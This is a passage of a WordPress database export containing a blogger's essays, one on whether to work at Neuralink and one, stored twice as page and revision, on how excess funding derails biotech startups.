wp:paragraph -->\n<p>I tried to take these questions one-by-one. Here’s how far I got.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Should you be working in BCI at all?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Depending on how seriously you take a sci-fi future, this question might be easy to answer for you. The quasi-dystopian future of&nbsp;<em>Citizen Sleeper</em>&nbsp;would not be possible without serious advancements in BCIs, nor would Elon Musk’s wild ideas of using BCIs to make sure humans reach parity with eventual superintelligent AIs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, to my mind, you could make the same sci-fi future argument about flying cars, but I think you would have had a really miserable career if you dedicated yourself to flying cars for the past 50 years. So, I think a better question would be, “If you dedicate the next 50 years of your career to BCIs starting now, will you have a satisfying career?”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is a complex question. Here’s one way of looking at it. If you had started working in BCIs 25 years ago, here would have been the possible highlights on your resume:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1) Reproducing&nbsp;<a href=\"https://www.wired.com/1999/10/a-cats-eye-view/\">the images seen by cats</a>&nbsp;on a computer screen by reading their brain (1999)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2)&nbsp;<a href=\"https://www.wired.com/2002/09/vision/\">Helping blind people see again</a>&nbsp;(2002)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3)&nbsp;<a href=\"https://www.nicolelislab.net/?p=492\">Teaching monkeys how to control robot arms</a>&nbsp;(2013) using only their brain</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4)&nbsp;<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3641862\">Allowing tetraplegics to control robot prosthetic limbs</a>&nbsp;(2014)&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>5) Giving monkeys&nbsp;<a href=\"https://zenodo.org/record/583331\">sensory feedback after controlling robot arms directly to their sensory cortex</a>&nbsp;(2017)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>6)&nbsp;<a href=\"https://alsnewstoday.com/news/stentrode-device-allows-computer-control-by-als-patients-with-partial-upper-limb-paralysis/\">Allowing ALS patients to operate computers</a>&nbsp;(2020)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>7)&nbsp;<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC9714519\">Synthesizing speech for patients with neurological disorders</a>&nbsp;(2022)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These would all be cool highlights to have! It’s not necessarily the most obvious order (who would have guessed that synthesizing speech would come 20 years after sight), but it would still be neat.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One obvious drawback that you might notice to working on these is that none of these are commercialized. The average blind person can’t get any sort of implant to see again 20 years later (although there are a lot of recent studies into this). Same thing with walking or controlling robot limbs for the average paraplegic or tetraplegic. So far, blind people still rely on seeing eye dogs, and paraplegics still rely on wheelchairs and long sticks. So, these highlights would not have produced any significant real-world impact.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, it seems pretty obvious as to why these haven’t produced any real world impact. That’s because all these interventions are expensive, one-off solutions that require top-notch surgeons, electrical engineers, and programmers. It’s very tough to scale stuff like that.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, as you might imagine, people are always claiming we are very close to getting to a place where we can get easy-to-implant, mass-manufactured BCIs that would be widely available. This includes stuff like&nbsp;<a href=\"https://www.technologyreview.com/2020/08/30/1007786/elon-musks-neuralink-demo-update-neuroscience-theater/\">Neuralink’s wireless transmission</a>&nbsp;and&nbsp;<a href=\"https://en.wikipedia.org/wiki/Stent-electrode_recording_array\">the Stentrode</a>, which is a BCI that’s located in the jugular vein rather than in the brain itself (i.e. it doesn’t require open brain surgery).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I just lack the expertise to say whether we can legitimately expect these innovations to lead to safer, cheaper, easier-to-implant BCIs, even if all the plans of the founders go exactly as promised. So that’s the first place I got stuck: I don’t really understand the challenges in mass-producing any of this.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Are Neuralink’s goals valuable?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>This one’s easier. I think, by and large, Neuralink’s stated goals aren’t valuable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>They say on their website, “We’re aiming to design a fully implantable, cosmetically invisible brain-computer interface to let you control a computer or mobile device anywhere you go”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I don’t think most people want this or need this. Unlike Elon, I’m fine using my fingers to scroll Twitter as I don’t need the timeline downloaded directly to my brain. Also, unlike Elon, I don’t think connecting human brains to supercomputers is a good or realistic goal, and I don’t really see a clear path from what they’re doing now to robot brains.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, a mass-market BCI could be great for blind or paralyzed people. So, maybe we can expect that this supercomputer nonsense ends up having an ulterior benefit. I do worry that, if Neuralink does get on the market, they’d bank so much on the supercomputer crowd that the product would flop and Neuralink wouldn’t even end up being available to blind or paralyzed people.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Does Neuralink’s strategy make sense?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Neuralink has a multi-pronged scientific strategy for achieving their scientific goals that’s difficult for me to evaluate scientifically, but I can say confidently that it requires a frighteningly lot of things to go right.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>They plan to have micron scale threads that attach to an implant that transmits information about neural impulses wirelessly. These micron scale threads and the implant will be resistant to corrosion from brain fluid and last for years. The threads and implant themselves will be installed via robot surgery.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All of these pieces of tech are complicated and would require internal development on the part of Neuralink to work correctly. None of them are off-the-shelf. Getting all these things working correctly and working together is hard!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you listen to Neuralink’s presentation, they act like they’ve already got every part of this working perfectly in monkeys. However, there’s really no way of verifying exactly what it is that they’re doing, as they haven’t published anything, as far as I know.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I am, again, not well versed enough in materials engineering, electrical engineering, or robotics to really evaluate exactly how difficult all of this is. But this does seem like a lot of things that will need to be developed. I generally don’t think it’s a good idea for a new team to make a new product that requires a bunch of technical advances, as usually just getting existing things to work together is hard enough.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Is Neuralink’s track record impressive?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>As I mentioned, I can’t really know exactly what’s going on with Neuralink’s monkey demos. What seems clear is that they’ve developed some sort of wireless interface that allows monkeys to play pong or to select letters from a keyboard.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The only part of this that’s more impressive than the demos from 10 years ago is the wireless part. Again, scientists taught monkeys&nbsp;<a href=\"https://techcrunch.com/2017/11/28/monkeys-controlling-robot-arms-with-their-minds-show-how-brains-can-be-reprogrammed/\">how to control robot arms in 2013</a>. That’s at least on the same level as selecting letters from a keyboard.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Wireless is definitely some kind of an advance, but it’s hard for me to say exactly how impressive it is because I don’t know enough about wireless. My only real point of comparison is the&nbsp;<em>Oculus</em>&nbsp;VR headset, which is still the only wireless headset after 4-ish years even though that’s an obvious selling point. My guess from that is that wireless is hard and expensive to implement in hardware, so it’s impressive that Neuralink managed it. Their other accomplishments are less impressive.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Are there ethical issues in working for Neuralink?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>There are always weird issues working for Elon Musk’s companies. He’s a weird guy and there’s always negative press.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Most recently, there was a report in 2022 that, from 2017 to 2020, 15 out of 23 monkeys were euthanized as part of Neuralink’s experiments. It’s also possible some of those monkeys underwent severe psychological distress.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>My feelings on this are mixed. If I was convinced that Neuralink was clearly heading in the direction of, say, giving blind people sight, I might think this is an ok price to pay. But, as you can probably tell, I’m not convinced, so this does kind of seem like torturing monkeys without a good reason as to why. That seems bad.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Conclusion</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Overall, I would lean against working for Neuralink, but I’m really not confident on this. Before answering this definitively, I’d want to know:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. The reason why BCIs aren’t commercially available 20 years later, including a better idea of the market size, the marginal cost of developing and installing them, and the challenges of manufacturing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. How likely it is that one of the other approaches to BCIs (i.e. the Stentrode) will lead to better results.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. The engineering challenges behind Neuralink’s exact approach.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And that’s where I’ll leave this, unless I come back to this in several months because I’m still bothered by the unfinished nature of this post.</p>\n<!-- /wp:paragraph -->','Should you work for Neuralink? Probably not.','','inherit','closed','closed','','371-revision-v1','','','2024-06-12 15:34:24','2024-06-12 15:34:24','',371,'https://trevorklee.com/?p=372',0,'revision','',0),
(373,1,'2024-06-12 15:35:48','2024-06-12 15:35:48','<!-- wp:paragraph -->\n<p>We live in a unique time of abundance and incredibly mobile capital. The incredible wealth extracted from long-extinct flora buried beneath the sands of Saudi Arabia pays for highly trained scientists in Boston to perform open heart surgery on mice, and nobody thinks this is strange. John D. Rockefeller had to drive from regional bank to regional bank with a briefcase, physically porting cash away, while I can get funding without ever physically visiting my own bank.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Because we live in such a unique time, we also face unique challenges. One of those challenges is that it’s now possible for a founder to get too much money. Companies can launch with $50 or $60 million before the founder has a solid idea of what exactly they’re doing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is problematic because once you get a lot of money, you’ll be expected to spend it<a href=\"https://trevorklee.substack.com/p/the-curse-of-having-too-much-money#footnote-1-104271495\">1</a>. This is especially true if you reach some sort of impasse in your work. Your funders will wonder what the point of all that money was if you’re just going to progress at the same speed as someone with a tenth of the funding. They’ll think you should just hire more people, do more experiments, spend more money! But, as the wealthy man who hired two orchestras to listen to symphonies twice as fast found out, sometimes more activity just means more cacophony.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6175d56a-937b-4ace-8d1a-02766cb6c046_400x400.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6175d56a-937b-4ace-8d1a-02766cb6c046_400x400.jpeg\" alt=\"TIL that this man &quot;had three legs, four feet, sixteen toes and two sets of  functioning male genitals&quot;. He worked for the circus and lived the the age  of 78! : r/todayilearned\" title=\"TIL that this man &quot;had three legs, four feet, sixteen toes and two sets of  functioning male genitals&quot;. He worked for the circus and lived the the age  of 78! : r/todayilearned\"/></a><figcaption class=\"wp-element-caption\">Similarly, you can’t get faster by obtaining more legs.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>While “cash burning a hole in your pocket” is a universal problem across well-funded startups, it takes on a different character in biotech. This is because biotech, unlike, say, tech startups, has a couple characteristics that can make having a lot of money particularly challenging:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>a) Biotech progresses in predictable stages, and the final stages are almost always orders of magnitude more expensive than the initial stages</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>b) It’s generally pretty easy to make a lot of money if you make it past the final stage, while it’s impossible to make any revenue if your asset doesn’t</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>c) There’s a somewhat unpredictable regulatory component, and that’s the single most common reason for company failure</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Because of these characteristics, biotech has a couple recognizable failure modes when it comes to having too much money. One of these is the zombie company, where a company, having failed a late-stage trial, keeps running additional, expensive trials in new indications with their existing asset. They don’t want to start over again at the initial stage and they have the money, so they just keep running stupid trial after stupid trial, hoping to randomly make it past the regulators and into an approved drug.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is bad. It’s a waste of time and resources. And, even if these companies do manage to have a successful Phase 3/pivotal trial and get their drug approved, there’s the moral issue that the drug might actually not work, and the success was due to rolling the dice enough times. Getting ineffective drugs approved and prescribed to patients is morally worse than wasting money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, I don’t think there’s any need for me to elaborate further why this is bad. After all, I’m pretty sure these people have already heard the criticisms I’m making and more importantly, are unlikely to listen. To paraphrase Charlie Munger, it is difficult to get someone to understand something when billions of dollars rides on them not understanding it.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Instead, I want to address a different big money failure mode, one that occurs to honest people at the other end of the biotech pipeline. This failure mode is when you try to start a company, but accidentally start a research project.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The way people get into this failure mode is very understandable. First you start off with a noble purpose like, say, solving inflammatory bowel disease (IBD), and then also a unique technology that makes people want to give you money, like, say, a delivery mechanism that can shield RNA therapeutics from the immune system.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, like most things that are spun directly out of academia, your unique technology isn’t quite ready for prime time yet. Let’s say that, so far, you’ve only been able to deliver drugs to the liver, as happens to many delivery mechanisms<a href=\"https://trevorklee.substack.com/p/the-curse-of-having-too-much-money#footnote-2-104271495\">2</a>. But, if you could deliver drugs to the intestines, this would be huge for IBD. Your investors agree, too. In fact, they invested in this company because they really want to invest in some early stage IBD companies, and yours seems particularly promising. So what do you do?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, if you have a ton of money, you can start with a long, complicated series of experiments to prove that you can deliver drugs to the intestines. Maybe you’ll start with mice first, then dogs, then eventually humans. This will take up to 10 years, millions of dollars, a dedicated manufacturing facility, your own labs, and many PhDs. And, at the end of it, you will have probably published some cool papers.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But you still won’t have a product, and you’ll still need to figure out what exactly you’re delivering to the intestines in order to actually cure IBD. Somehow, you thought you were going to end up with a saleable product at the end of this, but now you’re 10 years in and you still only have papers. Or, in other words, you thought you were starting a company, but you were really just starting a research project.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you don’t have a ton of money, though, instead, you can just paint the bullseye around your shot<a href=\"https://trevorklee.substack.com/p/the-curse-of-having-too-much-money#footnote-3-104271495\">3</a>. Your delivery method only delivers drugs to the liver? If it seems too hard to target the intestines, just pivot to becoming a company that targets liver diseases. You’re still going to have to pick a receptor and figure out a drug, but that’s not going to take 10 years or cost nearly as much. After all, you can always repurpose a drug or just buy one off of big pharma’s shelf.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, it seems really obvious when I put it like that, but it actually takes a lot of courage. You have to go back to investors and say, “Listen, I know I raised from you saying that we were going to target IBD. I had all our cool revenue models and you had to consult IBD specialists for your due diligence. But, we’ve been doing some more thinking, and we actually don’t think IBD is going to be feasible, so we’re switching to the liver.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The investors are probably going to be annoyed. There are a lot of startups targeting the liver due to the issues mentioned before. They were excited by someone who was targeting the intestines, especially such a big, lucrative disease. They went through all this due diligence to confirm that your approach was valid. And now you’re saying that you’re doing something different?<br><br>That’s precisely when not having as much money works in your favor. If you can convince them that your options are pivot or the company runs out of money and dies, investors will accept the pivot. But, if your options are pivot or you just spend 10 years of your life doing stuff that’s not getting the drug into patients, the investors will try to make you waste 10 years of your life every time. They know how to play this game, and they’re hoping that you or they can leverage the uncertainty of your 10 years in order to make their money back and then some.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And, even worse, they might have planned all this from the start. Many more people have gotten rich in biotech from cool, promising therapeutics in early stages than successful therapeutics that have made it all the way. There are a lot of investors who prefer to invest money in companies that can keep doing experiment after experiment, releasing press release after press release, and never fail and always have hopes of riches on the horizon. Which, maybe some biotech founders are cool with, too.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But I’m not, and I hope you’re not, either. Start a biotech company if you want to start a company. Stay in academia if you want to do a research project. Don’t mix up the two.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/the-curse-of-having-too-much-money#footnote-anchor-1-104271495\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Too much money is also a problem because you risk diluting yourself out of ownership and, to a lesser extent, because you risk a down-round. A down round does not spell the end of a company, but diluting yourself out of ownership and then getting fired by shortsighted investors spells the end of your time at the company (unless you’re Steve Jobs).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/the-curse-of-having-too-much-money#footnote-anchor-2-104271495\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The liver processes almost all xenobiotics, if they don’t get destroyed by the immune system first. So, if you’re introducing something foreign to the body, easy places to go are either places that the drug will go anyways, like the liver, or places where the immune system doesn’t look so closely, like the eyes. Or, on the other hand, you can just provoke the immune system directly, if you’re doing vaccines. This is exactly the dilemma that Moderna faced and solved-ish, which I’ve discussed before.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/the-curse-of-having-too-much-money#footnote-anchor-3-104271495\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There’s an old joke that I’m referencing here. A man goes to visit a small, rural town. He’s walking along the side of the road, and he’s amazed to see an old, wooden billboard with a bunch of bullseyes painted on it, each one with a dart at the center. He sees a young boy standing about 15 feet back from the billboard with a handful of darts.<br><br>The man’s excited to see a true dart throwing prodigy at work. As he watches, the boy cocks back his arm, throws the dart, and it lands - thunk! - right in the billboard. But, it’s landed way far away from any of the bullseyes.<br><br>The boy doesn’t look perturbed. He walks up to the billboard, looks at the dart, and bends down. When he comes back up, he has a paintbrush and a can of paint, and he carefully paints a new bullseye, right around the dart.</p>\n<!-- /wp:paragraph -->','The curse of too much money in biotech','','publish','closed','closed','','the-curse-of-too-much-money-in-biotech','','','2024-06-12 15:35:48','2024-06-12 15:35:48','',0,'https://trevorklee.com/?page_id=373',0,'page','',0),
(374,1,'2024-06-12 15:35:48','2024-06-12 15:35:48','<!-- wp:paragraph -->\n<p>We live in a unique time of abundance and incredibly mobile capital. The incredible wealth extracted from long-extinct flora buried beneath the sands of Saudi Arabia pays for highly trained scientists in Boston to perform open heart surgery on mice, and nobody thinks this is strange. John D. Rockefeller had to drive from regional bank to regional bank with a briefcase, physically porting cash away, while I can get funding without ever physically visiting my own bank.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Because we live in such a unique time, we also face unique challenges. One of those challenges is that it’s now possible for a founder to get too much money. Companies can launch with $50 or $60 million before the founder has a solid idea of what exactly they’re doing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is problematic because once you get a lot of money, you’ll be expected to spend it<a href=\"https://trevorklee.substack.com/p/the-curse-of-having-too-much-money#footnote-1-104271495\">1</a>. This is especially true if you reach some sort of impasse in your work. Your funders will wonder what the point of all that money was if you’re just going to progress at the same speed as someone with a tenth of the funding. They’ll think you should just hire more people, do more experiments, spend more money! But, as the wealthy man who hired two orchestras to listen to symphonies twice as fast found out, sometimes more activity just means more cacophony.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6175d56a-937b-4ace-8d1a-02766cb6c046_400x400.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6175d56a-937b-4ace-8d1a-02766cb6c046_400x400.jpeg\" alt=\"TIL that this man &quot;had three legs, four feet, sixteen toes and two sets of  functioning male genitals&quot;. He worked for the circus and lived the the age  of 78! : r/todayilearned\" title=\"TIL that this man &quot;had three legs, four feet, sixteen toes and two sets of  functioning male genitals&quot;. He worked for the circus and lived the the age  of 78! : r/todayilearned\"/></a><figcaption class=\"wp-element-caption\">Similarly, you can’t get faster by obtaining more legs.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>While “cash burning a hole in your pocket” is a universal problem across well-funded startups, it takes on a different character in biotech. This is because biotech, unlike, say, tech startups, has a couple characteristics that can make having a lot of money particularly challenging:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>a) Biotech progresses in predictable stages, and the final stages are almost always orders of magnitude more expensive than the initial stages</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>b) It’s generally pretty easy to make a lot of money if you make it past the final stage, while it’s impossible to make any revenue if your asset doesn’t</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>c) There’s a somewhat unpredictable regulatory component, and that’s the single most common reason for company failure</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Because of these characteristics, biotech has a couple recognizable failure modes when it comes to having too much money. One of these is the zombie company, where a company, having failed a late-stage trial, keeps running additional, expensive trials in new indications with their existing asset. They don’t want to start over again at the initial stage and they have the money, so they just keep running stupid trial after stupid trial, hoping to randomly make it past the regulators and into an approved drug.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is bad. It’s a waste of time and resources. And, even if these companies do manage to have a successful Phase 3/pivotal trial and get their drug approved, there’s the moral issue that the drug might actually not work, and the success was due to rolling the dice enough times. Getting ineffective drugs approved and prescribed to patients is morally worse than wasting money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, I don’t think there’s any need for me to elaborate further why this is bad. After all, I’m pretty sure these people have already heard the criticisms I’m making and more importantly, are unlikely to listen. To paraphrase Charlie Munger, it is difficult to get someone to understand something when billions of dollars rides on them not understanding it.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Instead, I want to address a different big money failure mode, one that occurs to honest people at the other end of the biotech pipeline. This failure mode is when you try to start a company, but accidentally start a research project.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The way people get into this failure mode is very understandable. First you start off with a noble purpose like, say, solving inflammatory bowel disease (IBD), and then also a unique technology that makes people want to give you money, like, say, a delivery mechanism that can shield RNA therapeutics from the immune system.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, like most things that are spun directly out of academia, your unique technology isn’t quite ready for prime time yet. Let’s say that, so far, you’ve only been able to deliver drugs to the liver, as happens to many delivery mechanisms<a href=\"https://trevorklee.substack.com/p/the-curse-of-having-too-much-money#footnote-2-104271495\">2</a>. But, if you could deliver drugs to the intestines, this would be huge for IBD. Your investors agree, too. In fact, they invested in this company because they really want to invest in some early stage IBD companies, and yours seems particularly promising. So what do you do?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, if you have a ton of money, you can start with a long, complicated series of experiments to prove that you can deliver drugs to the intestines. Maybe you’ll start with mice first, then dogs, then eventually humans. This will take up to 10 years, millions of dollars, a dedicated manufacturing facility, your own labs, and many PhDs. And, at the end of it, you will have probably published some cool papers.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But you still won’t have a product, and you’ll still need to figure out what exactly you’re delivering to the intestines in order to actually cure IBD. Somehow, you thought you were going to end up with a saleable product at the end of this, but now you’re 10 years in and you still only have papers. Or, in other words, you thought you were starting a company, but you were really just starting a research project.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you don’t have a ton of money, though, instead, you can just paint the bullseye around your shot<a href=\"https://trevorklee.substack.com/p/the-curse-of-having-too-much-money#footnote-3-104271495\">3</a>. Your delivery method only delivers drugs to the liver? If it seems too hard to target the intestines, just pivot to becoming a company that targets liver diseases. You’re still going to have to pick a receptor and figure out a drug, but that’s not going to take 10 years or cost nearly as much. After all, you can always repurpose a drug or just buy one off of big pharma’s shelf.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, it seems really obvious when I put it like that, but it actually takes a lot of courage. You have to go back to investors and say, “Listen, I know I raised from you saying that we were going to target IBD. I had all our cool revenue models and you had to consult IBD specialists for your due diligence. But, we’ve been doing some more thinking, and we actually don’t think IBD is going to be feasible, so we’re switching to the liver.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The investors are probably going to be annoyed. There are a lot of startups targeting the liver due to the issues mentioned before. They were excited by someone who was targeting the intestines, especially such a big, lucrative disease. They went through all this due diligence to confirm that your approach was valid. And now you’re saying that you’re doing something different?<br><br>That’s precisely when not having as much money works in your favor. If you can convince them that your options are pivot or the company runs out of money and dies, investors will accept the pivot. But, if your options are pivot or you just spend 10 years of your life doing stuff that’s not getting the drug into patients, the investors will try to make you waste 10 years of your life every time. They know how to play this game, and they’re hoping that you or they can leverage the uncertainty of your 10 years in order to make their money back and then some.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And, even worse, they might have planned all this from the start. Many more people have gotten rich in biotech from cool, promising therapeutics in early stages than successful therapeutics that have made it all the way. There are a lot of investors who prefer to invest money in companies that can keep doing experiment after experiment, releasing press release after press release, and never fail and always have hopes of riches on the horizon. Which, maybe some biotech founders are cool with, too.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But I’m not, and I hope you’re not, either. Start a biotech company if you want to start a company. Stay in academia if you want to do a research project. Don’t mix up the two.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/the-curse-of-having-too-much-money#footnote-anchor-1-104271495\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Too much money is also a problem because you risk diluting yourself out of ownership and, to a lesser extent, because you risk a down-round. A down round does not spell the end of a company, but diluting yourself out of ownership and then getting fired by shortsighted investors spells the end of your time at the company (unless you’re Steve Jobs).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/the-curse-of-having-too-much-money#footnote-anchor-2-104271495\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The liver processes almost all xenobiotics, if they don’t get destroyed by the immune system first. So, if you’re introducing something foreign to the body, easy places to go are either places that the drug will go anyways, like the liver, or places where the immune system doesn’t look so closely, like the eyes. Or, on the other hand, you can just provoke the immune system directly, if you’re doing vaccines. This is exactly the dilemma that Moderna faced and solved-ish, which I’ve discussed before.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/the-curse-of-having-too-much-money#footnote-anchor-3-104271495\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There’s an old joke that I’m referencing here. A man goes to visit a small, rural town. He’s walking along the side of the road, and he’s amazed to see an old, wooden billboard with a bunch of bullseyes painted on it, each one with a dart at the center. He sees a young boy standing about 15 feet back from the billboard with a handful of darts.<br><br>The man’s excited to see a true dart throwing prodigy at work. As he watches, the boy cocks back his arm, throws the dart, and it lands - thunk! - right in the billboard. But, it’s landed way far away from any of the bullseyes.<br><br>The boy doesn’t look perturbed. He walks up to the billboard, looks at the dart, and bends down. When he comes back up, he has a paintbrush and a can of paint, and he carefully paints a new bullseye, right around the dart.</p>\n<!-- /wp:paragraph -->','The curse of too much money in biotech','','inherit','closed','closed','','373-revision-v1','','','2024-06-12 15:35:48','2024-06-12 15:35:48','',373,'https://trevorklee.com/?p=374',0,'revision','',0),
